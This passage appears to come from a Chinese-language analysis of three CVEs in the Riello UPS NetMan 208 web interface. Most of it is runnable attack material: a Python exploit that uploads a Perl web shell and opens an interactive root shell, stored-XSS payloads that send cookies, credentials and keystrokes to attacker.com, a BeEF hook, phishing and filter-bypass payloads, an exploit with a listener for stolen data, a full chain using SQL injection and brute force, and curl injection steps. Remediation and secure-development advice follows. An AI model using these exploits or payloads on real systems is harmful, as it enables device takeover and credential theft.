│ ├── db/ # SQLite数据库
│ └── log/ # 日志文件
└── root/ # Root用户主目录
权限问题:
# CGI进程以root身份运行
$ ps aux | grep cgi
root 1234 0.0 1.2 /usr/bin/perl /usr/lib/cgi-bin/login.cgi
# CGI目录权限
$ ls -la /usr/lib/cgi-bin/
drwxr-xr-x root root cgi-bin/
-rwxr-xr-x root root login.cgi
-rwxr-xr-x root root certsupload.cgi
-rwxr-xr-x root root runin.cgi
这种配置违反了最小权限原则,为漏洞利用创造了理想条件。
以下是完整的Python利用脚本:
#!/usr/bin/env python3
"""
CVE-2025-68916 完整利用脚本
实现:认证 -> 上传 -> RCE -> 交互式Shell
"""
import requests
import sys
from urllib.parse import urljoin
class CVE202568916Exploit:
def __init__(self, target_url, username="admin", password="admin123"):
self.target = target_url
self.session = requests.Session()
self.username = username
self.password = password
self.shell_url = None
def authenticate(self):
"""步骤1:认证"""
print("[*] Authenticating...")
login_url = urljoin(self.target, "/cgi-bin/login.cgi")
data = {
"username": self.username,
"password": self.password,
"logintype": "standard"
}
r = self.session.post(login_url, data=data)
if "Login Successful" in r.text or 'session' in self.session.cookies:
print("[+] Authentication successful!")
return True
else:
print("[-] Authentication failed!")
return False
def upload_shell(self):
"""步骤2:上传Web Shell"""
print("[*] Uploading malicious payload...")
# Web Shell代码
shell_code = """#!/usr/bin/perl
use strict;
use warnings;
use CGI;
my $cgi = CGI->new;
print $cgi->header('text/plain');
my $cmd = $cgi->param('cmd') || 'echo "Shell active. Usage: ?cmd=<command>"';
print `$cmd 2>&1`;
"""
upload_url = urljoin(self.target, "/cgi-bin/certsupload.cgi")
# 构造文件上传
files = {
'certfile': ('runin.cgi', shell_code, 'application/x-perl')
}
r = self.session.post(upload_url, files=files)
if "Success" in r.text:
print("[+] Payload uploaded successfully!")
self.shell_url = urljoin(self.target, "/cgi-bin/runin.cgi")
return True
else:
print("[-] Upload failed!")
print(r.text)
return False
def execute_command(self, cmd):
"""步骤3:执行系统命令"""
if not self.shell_url:
print("[-] Shell not uploaded yet!")
return None
r = self.session.get(self.shell_url, params={'cmd': cmd})
return r.text
def verify_rce(self):
"""验证RCE"""
print("[*] Verifying remote code execution...")
result = self.execute_command('id')
if result and 'uid=' in result:
print("[+] RCE confirmed!")
print(f"[+] Running as: {result.strip()}")
if 'uid=0(root)' in result:
print("[!!!] ROOT ACCESS OBTAINED!")
return True
else:
print("[-] RCE verification failed!")
return False
def interactive_shell(self):
"""交互式Shell"""
print("\n[*] Entering interactive shell mode")
print("[*] Type 'exit' to quit\n")
while True:
try:
cmd = input("shell> ")
if cmd.lower() in ['exit', 'quit']:
print("[*] Exiting...")
break
if not cmd.strip():
continue
result = self.execute_command(cmd)
print(result)
except KeyboardInterrupt:
print("\n[*] Interrupted. Exiting...")
break
except Exception as e:
print(f"[-] Error: {e}")
def exploit(self):
"""完整利用流程"""
print("="*60)
print("CVE-2025-68916 Exploit")
print("Riello UPS NetMan 208 Path Traversal -> RCE")
print("="*60)
print()
# 步骤1:认证
if not self.authenticate():
return False
# 步骤2:上传Shell
if not self.upload_shell():
return False
# 步骤3:验证RCE
if not self.verify_rce():
return False
# 步骤4:交互式Shell
self.interactive_shell()
return True
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url> [username] [password]")
print(f"Example: {sys.argv[0]} http://192.168.1.100")
sys.exit(1)
target = sys.argv[1]
username = sys.argv[2] if len(sys.argv) > 2 else "admin"
password = sys.argv[3] if len(sys.argv) > 3 else "admin123"
exploit = CVE202568916Exploit(target, username, password)
exploit.exploit()
运行示例:
$ python3 exploit.py http://192.168.1.100
============================================================
CVE-2025-68916 Exploit
Riello UPS NetMan 208 Path Traversal -> RCE
============================================================
[*] Authenticating...
[+] Authentication successful!
[*] Uploading malicious payload...
[+] Payload uploaded successfully!
[*] Verifying remote code execution...
[+] RCE confirmed!
[+] Running as: uid=0(root) gid=0(root) groups=0(root)
[!!!] ROOT ACCESS OBTAINED!
[*] Entering interactive shell mode
[*] Type 'exit' to quit
shell> whoami
root
shell> cat /etc/shadow | head -3
root:$6$xyz...abc:18000:0:99999:7:::
daemon:*:18000:0:99999:7:::
bin:*:18000:0:99999:7:::
shell> uname -a
Linux netman208 4.19.0-embedded #1 SMP ARM
shell> exit
[*] Exiting...
CVSS v3.1 向量字符串:
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
评分详解:
| 指标 | 值 | 说明 |
|---|---|---|
| 攻击向量(AV) | 网络(N) | 可通过网络远程利用 |
| 攻击复杂度(AC) | 低(L) | 无需特殊条件 |
| 所需权限(PR) | 高(H) | 需要管理员权限 |
| 用户交互(UI) | 无(N) | 无需用户交互 |
| 作用域(S) | 不变(U) | 影响限于被攻击组件 |
| 机密性(C) | 高(H) | 完全控制系统 |
| 完整性(I) | 高(H) | 可修改任意文件 |
| 可用性(A) | 高(H) | 可关闭系统 |
基础分:9.1 (严重)
虽然需要管理员权限,但可通过CVE-2025-68914绕过,因此实际威胁级别为严重。
CVE-2025-68915是一个存储型跨站脚本(Stored XSS)漏洞,位于/cgi-bin/loginbanner_w.cgi。该脚本允许管理员配置登录页面的欢迎横幅,但未对输入进行适当的过滤和编码,导致恶意JavaScript代码被存储并在所有访问登录页面的用户浏览器中执行。
loginbanner_w.cgi (横幅配置):
#!/usr/bin/perl
# loginbanner_w.cgi - Login Banner Configuration
# Riello UPS NetMan 208 v1.11
use strict;
use warnings;
use CGI;
my $cgi = CGI->new;
my $banner_file = "/var/www/html/banner.txt";
# 认证检查
my $cookie = $cgi->cookie('session');
if (!$cookie || $cookie ne 'admin_session') {
print $cgi->header('text/html');
print "<html><body><h1>403 Forbidden</h1></body></html>";
exit;
}
if ($cgi->request_method eq 'GET') {
# 读取当前横幅
my $current_banner = "";
if (-e $banner_file) {
open(my $fh, '<', $banner_file);
$current_banner = do { local $/; <$fh> };
close($fh);
}
# 显示配置表单
print $cgi->header('text/html');
print <<HTML;
<html>
<head><title>Login Banner Configuration</title></head>
<body>
<h1>Configure Login Banner</h1>
<form method="POST">
<label>Banner Title:</label><br>
<input type="text" name="pre_login_banner_title" size="50"><br><br>
<label>Banner Message:</label><br>
<textarea name="pre_login_banner_message" rows="5" cols="50">$current_banner</textarea><br><br>
<input type="submit" value="Save Banner">
</form>
</body>
</html>
HTML
exit;
}
# POST request - 保存横幅
if ($cgi->request_method eq 'POST') {
my $banner_title = $cgi->param('pre_login_banner_title');
my $banner_message = $cgi->param('pre_login_banner_message');
# 漏洞:直接写入用户输入,无任何过滤
open(my $fh, '>', $banner_file);
print $fh $banner_message; # 存储型XSS漏洞点
close($fh);
print $cgi->header('text/html');
print "<html><body><h1>Success</h1>";
print "<p>Banner saved!</p></body></html>";
}
login.cgi (显示横幅):
# ... (认证代码) ...
# 读取并显示横幅
my $banner_file = "/var/www/html/banner.txt";
my $banner = "";
if (-e $banner_file) {
open(my $fh, '<', $banner_file);
$banner = do { local $/; <$fh> };
close($fh);
}
# 漏洞:直接输出到HTML,无编码
print $cgi->header('text/html');
print <<HTML;
<html>
<head><title>NetMan 208 Login</title></head>
<body>
<div class="banner">
$banner
</div>
<form method="POST">
<!-- 登录表单 -->
</form>
</body>
</html>
HTML
代码问题:
输入未过滤:
my $banner_message = $cgi->param('pre_login_banner_message');
print $fh $banner_message; # 直接存储
输出未编码:
print <<HTML;
<div class="banner">
$banner # 直接输出,无HTML编码
</div>
HTML
Cookie缺少HttpOnly:
my $cookie = $cgi->cookie(
-name => 'session',
-value => 'admin_session',
-expires => '+1h'
# 缺少 -httponly => 1
);
这使得JavaScript可以通过document.cookie访问session cookie。
存储型XSS流程:
1. 攻击者(管理员) → 注入恶意脚本 → 存储到banner.txt
↓
2. 受害者访问登录页 → 服务器读取banner.txt → 输出到HTML
↓
3. 浏览器解析HTML → 执行恶意JavaScript → 窃取Cookie/凭证
↓
4. 恶意脚本发送数据 → 攻击者服务器 → 攻击者获得会话
基础XSS测试:
<script>alert('XSS')</script>
Cookie窃取:
<script>
// 窃取session cookie
var cookie = document.cookie;
var img = new Image();
img.src = 'http://attacker.com/steal?c=' + encodeURIComponent(cookie);
</script>
凭证窃取:
<script>
// 劫持登录表单
document.querySelector('form').addEventListener('submit', function(e) {
e.preventDefault();
var username = document.querySelector('input[name="username"]').value;
var password = document.querySelector('input[name="password"]').value;
// 发送凭证到攻击者服务器
fetch('http://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
username: username,
password: password,
cookie: document.cookie
})
});
// 继续正常登录以避免怀疑
this.submit();
});
</script>
键盘记录器:
<script>
var keylog = '';
document.addEventListener('keypress', function(e) {
keylog += e.key;
// 每10个字符发送一次
if (keylog.length >= 10) {
fetch('http://attacker.com/keylog', {
method: 'POST',
body: keylog
});
keylog = '';
}
});
// 页面卸载时发送剩余数据
window.addEventListener('beforeunload', function() {
if (keylog.length > 0) {
navigator.sendBeacon('http://attacker.com/keylog', keylog);
}
});
</script>
持久化后门:
<script>
// 创建隐藏的iframe持续连接到C2服务器
var iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.src = 'http://attacker.com/c2?id=' + document.cookie;
document.body.appendChild(iframe);
// 定期发送心跳
setInterval(function() {
fetch('http://attacker.com/heartbeat?id=' + document.cookie);
}, 30000);
</script>
BeEF Hook (Browser Exploitation Framework):
<script src="http://attacker.com:3000/hook.js"></script>
一旦受害者访问登录页,其浏览器将被BeEF框架hook,攻击者可以:
远程控制浏览器
执行任意JavaScript
扫描内网
发起钓鱼攻击
场景1:窃取管理员会话
攻击者通过SQL注入(CVE-2025-68914)获取管理员凭证
登录并注入XSS payload到登录横幅
等待真正的管理员登录
窃取管理员的有效session
使用窃取的session访问certsupload.cgi
利用CVE-2025-68916获取RCE
场景2:批量凭证收集
注入凭证窃取脚本
所有登录的用户(包括只读用户)的凭证被窃取
收集足够多的凭证后进行横向移动
攻击内网其他系统
场景3:内网钓鱼
<script>
// 伪造登录失败消息
document.body.innerHTML = '<h1>Session Expired</h1>' +
'<p>Please log in again:</p>' +
'<form action="http://attacker.com/phish" method="POST">' +
'<input name="username" placeholder="Username"><br>' +
'<input type="password" name="password" placeholder="Password"><br>' +
'<input type="submit" value="Login">' +
'</form>';
</script>
用户会认为session过期,重新输入凭证,实际上发送到了攻击者服务器。
完整利用脚本:
#!/usr/bin/env python3
"""
CVE-2025-68915 存储型XSS利用脚本
功能:注入XSS payload窃取管理员session
"""
import requests
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
import threading
class StealHandler(BaseHTTPRequestHandler):
"""处理窃取的数据"""
stolen_data = []
def do_GET(self):
"""处理GET请求(cookie窃取)"""
if '/steal' in self.path:
# 提取cookie参数
cookie = self.path.split('c=')[1] if 'c=' in self.path else 'No cookie'
print(f"\n[+] Stolen cookie: {cookie}")
self.stolen_data.append({
'type': 'cookie',
'data': cookie,
'ip': self.client_address[0]
})
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')
def do_POST(self):
"""处理POST请求(凭证窃取)"""
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print(f"\n[+] Stolen credentials: {post_data.decode()}")
self.stolen_data.append({
'type': 'credentials',
'data': post_data.decode(),
'ip': self.client_address[0]
})
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')
def log_message(self, format, *args):
"""抑制默认日志"""
pass
class CVE202568915Exploit:
def __init__(self, target_url, attacker_ip, username="admin", password="admin123"):
self.target = target_url
self.attacker_ip = attacker_ip
self.session = requests.Session()
self.username = username
self.password = password
def authenticate(self):
"""认证"""
print("[*] Authenticating...")
login_url = f"{self.target}/cgi-bin/login.cgi"
r = self.session.post(login_url, data={
"username": self.username,
"password": self.password,
"logintype": "standard"
})
if "Login Successful" in r.text or 'session' in self.session.cookies:
print("[+] Authenticated successfully!")
return True
return False
def inject_xss(self, payload_type="cookie"):
"""注入XSS payload"""
print(f"[*] Injecting XSS payload (type: {payload_type})...")
# 根据类型选择payload
if payload_type == "cookie":
payload = f"""<script>
var img = new Image();
img.src = 'http://{self.attacker_ip}:8000/steal?c=' + document.cookie;
</script>"""
elif payload_type == "credentials":
payload = f"""<script>
document.querySelector('form').addEventListener('submit', function(e) {{
e.preventDefault();
var u = document.querySelector('input[name="username"]').value;
var p = document.querySelector('input[name="password"]').value;
fetch('http://{self.attacker_ip}:8000/steal', {{
method: 'POST',
body: 'username=' + u + '&password=' + p
}});
this.submit();
}});
</script>"""
elif payload_type == "keylogger":
payload = f"""<script>
var log = '';
document.addEventListener('keypress', function(e) {{
log += e.key;
if (log.length >= 10) {{
fetch('http://{self.attacker_ip}:8000/keylog', {{
method: 'POST',
body: log
}});
log = '';
}}
}});
</script>"""
else:
payload = f"<script>alert('XSS Test')</script>"
banner_url = f"{self.target}/cgi-bin/loginbanner_w.cgi"
r = self.session.post(banner_url, data={
"pre_login_banner_title": "Welcome",
"pre_login_banner_message": payload
})
if "Success" in r.text:
print("[+] XSS payload injected successfully!")
print(f"[*] Payload stored in login banner")
print(f"[*] Victims visiting {self.target}/cgi-bin/login.cgi will be affected")
return True
else:
print("[-] Injection failed!")
return False
def start_listener(self):
"""启动监听服务器"""
print(f"[*] Starting listener on {self.attacker_ip}:8000...")
print("[*] Waiting for victims...\n")
server = HTTPServer(('0.0.0.0', 8000), StealHandler)
try:
server.serve_forever()
except KeyboardInterrupt:
print("\n[*] Stopping listener...")
server.shutdown()
def exploit(self, payload_type="cookie", start_listener_flag=True):
"""完整利用"""
print("="*60)
print("CVE-2025-68915 Exploit - Stored XSS")
print("Riello UPS NetMan 208")
print("="*60)
print()
if not self.authenticate():
print("[-] Authentication failed!")
return False
if not self.inject_xss(payload_type):
print("[-] Payload injection failed!")
return False
if start_listener_flag:
print("[+] Setup complete!")
print("[*] Listener will capture stolen data")
print("[*] Press Ctrl+C to stop\n")
self.start_listener()
return True
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <target_url> <attacker_ip> [payload_type]")
print(f"Payload types: cookie, credentials, keylogger, test")
print(f"Example: {sys.argv[0]} http://192.168.1.100 192.168.1.50 cookie")
sys.exit(1)
target = sys.argv[1]
attacker_ip = sys.argv[2]
payload_type = sys.argv[3] if len(sys.argv) > 3 else "cookie"
exploit = CVE202568915Exploit(target, attacker_ip)
exploit.exploit(payload_type)
使用示例:
# 攻击者主机 (192.168.1.50)
$ python3 xss_exploit.py http://192.168.1.100 192.168.1.50 cookie
============================================================
CVE-2025-68915 Exploit - Stored XSS
Riello UPS NetMan 208
============================================================
[*] Authenticating...
[+] Authenticated successfully!
[*] Injecting XSS payload (type: cookie)...
[+] XSS payload injected successfully!
[*] Payload stored in login banner
[*] Victims visiting http://192.168.1.100/cgi-bin/login.cgi will be affected
[+] Setup complete!
[*] Listener will capture stolen data
[*] Starting listener on 192.168.1.50:8000...
[*] Waiting for victims...
# 当有用户访问登录页时:
[+] Stolen cookie: session=admin_session_xyz123
[+] Stolen cookie: session=user_session_abc456
绕过简单过滤:
如果实施了简单的黑名单过滤:
# 简单的错误过滤示例
if ($input =~ /<script>/i) {
die "Invalid input";
}
可以使用:
<!-- 大小写混淆 -->
<ScRiPt>alert('XSS')</ScRiPt>
<!-- HTML编码 -->
<script>alert('XSS')</script>
<!-- 换行符 -->
<scr
ipt>alert('XSS')</script>
<!-- 事件处理器 -->
<img src=x onerror=alert('XSS')>
<body onload=alert('XSS')>
<svg onload=alert('XSS')>
<!-- 无script标签 -->
<img src=javascript:alert('XSS')>
<iframe src=javascript:alert('XSS')>
绕过CSP (如果配置不当):
<!-- 如果CSP允许inline scripts但需要nonce -->
<script nonce="攻击者猜测或泄露的nonce">alert('XSS')</script>
<!-- 如果CSP允许某些域 -->
<script src="https://trusted-domain.com/malicious.js"></script>
<!-- DOM clobbering -->
<form name="cookie"></form>
<script>alert(document.cookie)</script> <!-- document.cookie被覆盖 -->
攻击链:SQL注入 + XSS + RCE:
#!/usr/bin/env python3
"""
完整攻击链:CVE-2025-68914 + CVE-2025-68915 + CVE-2025-68916
从无凭证到完全系统控制
"""
import requests
import time
class FullChainExploit:
def __init__(self, target):
self.target = target
self.session = requests.Session()
self.admin_session = None
def step1_sqli_bypass_bruteforce(self):
"""步骤1:SQL注入绕过暴力破解保护"""
print("[Step 1] Bypassing brute-force protection via SQL injection...")
# 清空失败登录记录
self.session.post(f"{self.target}/cgi-bin/login.cgi", data={
"username": "admin';DELETE FROM LOGINFAILEDTABLE WHERE 1=1; --",
"password": "dummy"
})
print("[+] Brute-force protection bypassed")
def step2_bruteforce_admin(self):
"""步骤2:暴力破解管理员密码"""
print("[Step 2] Brute-forcing admin password...")
common_passwords = ["admin", "admin123", "password", "123456", "riello"]
for password in common_passwords:
r = self.session.post(f"{self.target}/cgi-bin/login.cgi", data={
"username": "admin",
"password": password,
"logintype": "standard"
})
if "Login Successful" in r.text:
print(f"[+] Found password: {password}")
return password
print("[-] Password not found in common list")
return None
def step3_inject_xss_steal_session(self, attacker_ip):
"""步骤3:注入XSS窃取其他管理员session"""
print("[Step 3] Injecting XSS to steal sessions...")
payload = f"""<script>
fetch('http://{attacker_ip}:8000/steal?c=' + document.cookie);
</script>"""
self.session.post(f"{self.target}/cgi-bin/loginbanner_w.cgi", data={
"pre_login_banner_message": payload
})
print("[+] XSS injected, waiting for victim...")
# 实际场景中需要等待并接收窃取的session
def step4_upload_backdoor(self):
"""步骤4:上传后门获取RCE"""
print("[Step 4] Uploading backdoor for RCE...")
backdoor = """#!/usr/bin/perl
use CGI;
my $cgi = CGI->new;
print $cgi->header('text/plain');
print `$cgi->param('cmd') 2>&1`;
"""
self.session.post(f"{self.target}/cgi-bin/certsupload.cgi",
files={'certfile': ('runin.cgi', backdoor, 'text/plain')})
print("[+] Backdoor uploaded")
def step5_verify_rce(self):
"""步骤5:验证RCE"""
print("[Step 5] Verifying root access...")
r = self.session.get(f"{self.target}/cgi-bin/runin.cgi", params={'cmd': 'id'})
if 'uid=0(root)' in r.text:
print("[+] ROOT ACCESS ACHIEVED!")
print(f"[+] Output: {r.text.strip()}")
return True
return False
def exploit(self, attacker_ip):
"""执行完整攻击链"""
print("="*60)
print("Full Attack Chain Exploit")
print("CVE-2025-68914 + CVE-2025-68915 + CVE-2025-68916")
print("="*60)
print()
self.step1_sqli_bypass_bruteforce()
time.sleep(1)
password = self.step2_bruteforce_admin()
if not password:
return False
time.sleep(1)
# 如果需要额外权限,可以使用XSS
# self.step3_inject_xss_steal_session(attacker_ip)
self.step4_upload_backdoor()
time.sleep(1)
self.step5_verify_rce()
print("\n[*] Attack chain completed successfully!")
print(f"[*] Access backdoor at: {self.target}/cgi-bin/runin.cgi?cmd=<command>")
if __name__ == "__main__":
import sys
if len(sys.argv) < 3:
print("Usage: python3 full_chain.py <target> <attacker_ip>")
sys.exit(1)
exploit = FullChainExploit(sys.argv[1])
exploit.exploit(sys.argv[2])
CVSS v3.1 向量字符串:
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
评分详解:
| 指标 | 值 | 说明 |
|---|---|---|
| 攻击向量(AV) | 网络(N) | 网络可达 |
| 攻击复杂度(AC) | 低(L) | 易于利用 |
| 所需权限(PR) | 高(H) | 需要管理员 |
| 用户交互(UI) | 需要(R) | 受害者需访问页面 |
| 作用域(S) | 改变(C) | 影响其他组件 |
| 机密性(C) | 低(L) | 可窃取部分信息 |
| 完整性(I) | 低(L) | 可执行恶意脚本 |
| 可用性(A) | 无(N) | 不直接影响可用性 |
基础分:约5.4 (中危)
单独评估为中危,但作为攻击链的一环,实际威胁为高危。
NetMan 208的代码普遍缺少输入验证,违反了"不信任用户输入"的基本原则。
问题示例:
# 错误:直接使用用户输入
my $username = $cgi->param('username');
my $query = "SELECT * FROM users WHERE username='$username'";
# 正确:验证输入
my $username = $cgi->param('username');
# 白名单验证
if ($username !~ /^[a-zA-Z0-9_-]{3,20}$/) {
die "Invalid username format";
}
# 然后使用参数化查询
my $sth = $dbh->prepare("SELECT * FROM users WHERE username=?");
$sth->execute($username);
根本原因:
开发人员未接受安全编码培训
缺少代码审查流程
未使用静态分析工具
代码使用了不安全的API和编程模式:
SQL拼接而非参数化查询:
# 不安全
my $query = "SELECT * FROM table WHERE id='$id'";
$dbh->do($query);
# 安全
my $sth = $dbh->prepare("SELECT * FROM table WHERE id=?");
$sth->execute($id);
直接文件路径操作:
# 不安全
my $filepath = "/path/to/dir/" . $user_filename;
open(my $fh, '>', $filepath);
# 安全
use File::Basename;
use File::Spec;
my $safe_filename = basename($user_filename);
# 进一步验证
$safe_filename =~ s/[^a-zA-Z0-9._-]//g;
my $filepath = File::Spec->catfile("/path/to/dir", $safe_filename);
# 检查路径是否在预期目录内
use Cwd 'abs_path';
my $abs_path = abs_path($filepath);
if ($abs_path !~ /^\/path\/to\/dir\//) {
die "Path traversal attempt detected";
}
open(my $fh, '>', $filepath);
未编码的输出:
# 不安全
print "<div>$user_input</div>";
# 安全
use HTML::Entities;
print "<div>" . encode_entities($user_input) . "</div>";
# 或使用模板引擎
use Template;
my $tt = Template->new({
ENCODING => 'utf8',
# 自动HTML转义
});
代码未使用现代的安全库和框架:
应该使用的安全库:
# ORM代替原始SQL
use DBIx::Class;
# Web框架带安全特性
use Dancer2; # 或 Mojolicious
# 自动HTML转义
use Template;
use HTML::Mason;
# 安全的文件操作
use File::Spec::Functions;
use Path::Tiny;
# CSRF保护
use Dancer2::Plugin::CSRF;
# Session管理
use Dancer2::Plugin::Session::Sereal;
问题:CGI脚本以root权限运行
$ ps aux | grep cgi
root 1234 /usr/bin/perl /usr/lib/cgi-bin/login.cgi
为什么这样设计:
需要访问UPS硬件设备(/dev/ups)
需要修改系统配置文件
配置错误或偷懒
正确做法:
最小权限原则:
# Web进程使用低权限用户
User www-data
Group www-data
# 使用sudo或setuid包装器访问硬件
/usr/local/bin/ups_control (setuid root)
权限分离:
┌─────────────────────────────────┐
│ Web Interface (www-data) │
│ - 处理用户请求 │
│ - 显示状态信息 │
└────────────┬────────────────────┘
│ IPC (Socket/Pipe)
▼
┌─────────────────────────────────┐
│ Backend Daemon (root) │
│ - 控制UPS硬件 │
│ - 修改系统配置 │
│ - 验证权限 │
└─────────────────────────────────┘
能力(Capabilities)系统:
# 只授予必要的capability
setcap cap_net_raw,cap_net_admin+ep /usr/local/bin/ups_control
问题:
简单的cookie验证:
my $cookie = $cgi->cookie('session');
if ($cookie eq 'admin_session') { # 固定值,容易伪造
# 授权通过
}
无会话管理:
没有session ID随机生成
没有session过期机制
没有session绑定(IP、User-Agent)
缺少多因素认证(MFA)
正确实现:
use Digest::SHA qw(sha256_hex);
use Crypt::Random qw(makerandom_octet);
# 生成安全的session ID
sub generate_session {
my $random = makerandom_octet(Length => 32, Strength => 1);
my $session_id = sha256_hex($random . time() . $$);
# 存储到数据库
$dbh->do("INSERT INTO sessions VALUES (?, ?, ?, ?, ?)",
undef,
$session_id,
$username,
time(),
$ENV{'REMOTE_ADDR'},
$ENV{'HTTP_USER_AGENT'}
);
return $session_id;
}
# 验证session
sub validate_session {
my ($session_id) = @_;
my $sth = $dbh->prepare(
"SELECT username, created, ip, user_agent
FROM sessions
WHERE session_id=? AND created > ?"
);
$sth->execute($session_id, time() - 3600); # 1小时过期
my ($username, $created, $ip, $ua) = $sth->fetchrow_array();
# 验证绑定
if ($ip ne $ENV{'REMOTE_ADDR'} || $ua ne $ENV{'HTTP_USER_AGENT'}) {
return undef; # Session劫持检测
}
return $username;
}
问题:Web应用直接暴露,没有中间保护层
Internet ─────▶ NetMan 208 Web Interface
(无保护)
应有架构:
Internet
│
▼
┌──────────────┐
│ WAF │ ← Web应用防火墙
│ (ModSec) │
└──────┬───────┘
│
▼
┌──────────────┐
│ Reverse │ ← 反向代理
│ Proxy │ - SSL终止
│ (Nginx) │ - 速率限制
└──────┬───────┘ - 请求过滤
│
▼
┌──────────────┐
│ NetMan 208 │ ← 应用层
│ Web App │ (内网)
└──────────────┘
Riello UPS的开发流程显然缺少安全环节:
当前流程(推测):
需求 → 设计 → 编码 → 测试 → 发布
↑
└─ 缺少安全环节
应有的SDL流程:
1. 需求阶段
├─ 安全需求识别
├─ 威胁建模
└─ 合规性检查
2. 设计阶段
├─ 安全架构审查
├─ 攻击面分析
└─ 安全设计模式
3. 实现阶段
├─ 安全编码标准
├─ 代码审查
└─ 静态分析(SAST)
4. 测试阶段
├─ 安全测试用例
├─ 动态分析(DAST)
├─ 模糊测试
└─ 渗透测试
5. 发布阶段
├─ 最终安全审查
├─ 漏洞扫描
└─ 安全配置检查
6. 维护阶段
├─ 漏洞监控
├─ 补丁管理
└─ 事件响应
问题证据:
明显的安全漏洞未被发现:
SQL注入是最基础的漏洞类型
任何有经验的审查者都应该能发现
代码质量问题:
缺少注释
变量命名不规范
错误处理不当
应实施的代码审查流程:
开发人员提交代码
↓
自动检查
├─ 编码规范
├─ 单元测试
└─ SAST扫描
↓
人工审查
├─ 功能审查
├─ 安全审查 ← 关键
└─ 性能审查
↓
批准合并
安全审查清单:
## 安全代码审查清单
### 输入验证
- [ ] 所有用户输入是否经过验证?
- [ ] 是否使用白名单而非黑名单?
- [ ] 是否检查了输入长度和格式?
### 输出编码
- [ ] HTML输出是否编码?
- [ ] SQL查询是否使用参数化?
- [ ] Shell命令是否安全?
### 认证授权
- [ ] 是否正确验证用户身份?
- [ ] 是否检查授权?
- [ ] Session管理是否安全?
### 密码学
- [ ] 是否使用强加密算法?
- [ ] 密钥管理是否安全?
- [ ] 随机数是否加密安全?
### 错误处理
- [ ] 是否泄露敏感信息?
- [ ] 是否正确记录日志?
- [ ] 是否有兜底处理?
### 文件操作
- [ ] 路径是否验证?
- [ ] 权限是否正确?
- [ ] 是否防止路径遍历?
问题:发布前未进行充分的安全测试
应有的安全测试:
静态应用安全测试(SAST):
# Perl代码分析
perlcritic --brutal *.cgi
perl -MO=Lint *.cgi
# 通用SAST工具
semgrep --config=p/security-audit .
bandit -r .
动态应用安全测试(DAST):
# Web漏洞扫描
nikto -h http://target
owasp-zap-cli quick-scan http://target
# 模糊测试
wfuzz -z file,wordlist.txt http://target/FUZZ
# SQL注入测试
sqlmap -u "http://target/login.cgi" --forms
交互式应用安全测试(IAST):
在运行时监控应用
识别实际可利用的漏洞
提供详细的利用路径
手工渗透测试:
经验丰富的安全专家
模拟真实攻击场景
发现自动工具遗漏的漏洞
问题表现:
"功能优先"心态:
快速推出新功能
安全被视为开发的障碍
"以后再修"的拖延心态
缺少安全培训:
开发人员不了解OWASP Top 10
不知道如何安全地编码
缺少安全工具使用培训
责任不清:
没有专门的安全团队
安全责任分散或无人负责
缺少安全KPI
问题:
没有漏洞赏金计划
没有明确的安全联系渠道
响应漏洞报告的流程不清晰
应建立的流程:
漏洞报告
↓
┌──────────────────────┐
│ 接收与确认 │
│ (24小时内) │
└──────┬───────────────┘
│
▼
┌──────────────────────┐
│ 分类与评级 │
│ (CVSS评分) │
└──────┬───────────────┘
│
▼
┌──────────────────────┐
│ 复现与分析 │
│ (7天内) │
└──────┬───────────────┘
│
▼
┌──────────────────────┐
│ 修复开发 │
│ (30-90天) │
└──────┬───────────────┘
│
▼
┌──────────────────────┐
│ 测试与验证 │
└──────┬───────────────┘
│
▼
┌──────────────────────┐
│ 补丁发布 │
└──────┬───────────────┘
│
▼
┌──────────────────────┐
│ 公开披露 │
│ (与研究者协调) │
└──────────────────────┘
NetMan 208可能包含多年前的遗留代码:
问题:
基于老旧的Perl版本
使用过时的库和模块
设计模式陈旧
证据:
# 代码风格像2000年代的Perl
use CGI; # CGI.pm已经过时,现代应该用PSGI/Plack
# 没有使用现代Perl特性
use strict;
use warnings;
# 缺少:
# use v5.20;
# use feature 'signatures';
# use Try::Tiny;
问题:
缺少文档
代码注释不足
原作者可能已离职
新手难以理解代码
这导致:
修bug引入新bug
不敢大幅重构
技术债务累积
以下是导致这些漏洞的根本原因总结:
| 层级 | 问题 | 影响 | 优先级 |
|---|---|---|---|
| 代码层 | 缺少输入验证 | 直接导致注入漏洞 | P0 |
| 代码层 | 不安全API使用 | 引入可利用漏洞 | P0 |
| 代码层 | 缺少输出编码 | XSS漏洞 | P1 |
| 架构层 | 过高权限 | 放大漏洞影响 | P0 |
| 架构层 | 认证机制弱 | 容易绕过 | P0 |
| 架构层 | 缺少防御层 | 直接暴露攻击面 | P1 |
| 流程层 | 无SDL | 系统性安全问题 | P0 |
| 流程层 | 无代码审查 | 漏洞未被发现 | P0 |
| 流程层 | 无安全测试 | 漏洞进入生产 | P0 |
| 组织层 | 安全意识不足 | 安全不受重视 | P1 |
| 组织层 | 无漏洞管理 | 响应缓慢 | P1 |
| 技术层 | 遗留代码 | 难以修复 | P2 |
改进建议的优先级:
P0 (立即处理):
实施安全代码审查
建立SDL流程
修复已知漏洞
降低运行权限
P1 (1-3个月):
安全培训计划
部署WAF
实施安全测试
建立漏洞管理流程
P2 (3-6个月):
代码重构
架构升级
技术债务偿还
本节详细描述三个CVE漏洞的具体利用方法,包括手工利用和自动化利用脚本。
基础SQL注入测试:
步骤1:识别注入点
# 正常请求
curl -X POST http://target/cgi-bin/login.cgi \
-d "username=admin&password=test"
# 注入单引号测试
curl -X POST http://target/cgi-bin/login.cgi \
-d "username=admin'&password=test"
# 如果出现错误或行为改变,说明存在注入
步骤2:确认SQL注入类型
# 布尔测试
curl -X POST http://target/cgi-bin/login.cgi \
-d "username=admin' AND '1'='1&password=test"
curl -X POST http://target/cgi-bin/login.cgi \
-d "username=admin' AND '1'='2&password=test"
步骤3:绕过暴力破解保护
# 清空失败登录记录
curl -X POST http://target/cgi-bin/login.cgi \
-d "username=admin';DELETE FROM LOGINFAILEDTABLE WHERE 1=1; --&password=test"
